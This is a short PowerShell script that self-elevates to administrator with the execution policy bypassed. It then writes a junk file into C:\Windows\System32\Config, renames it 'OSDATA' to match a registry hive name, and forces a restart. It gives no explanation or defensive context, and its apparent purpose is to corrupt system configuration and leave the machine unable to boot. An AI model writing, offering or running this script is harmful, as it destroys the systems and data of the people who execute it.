# Requires elevation if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs; exit }; $folder="C:\Windows\System32\Config"; $filePath=Join-Path $folder "OSDATA.txt"; Set-Content -Path $filePath -Value "asdkjhasd8123kjhasd&*^%$#"; Rename-Item -Path $filePath -NewName "OSDATA"; Restart-Computer -Force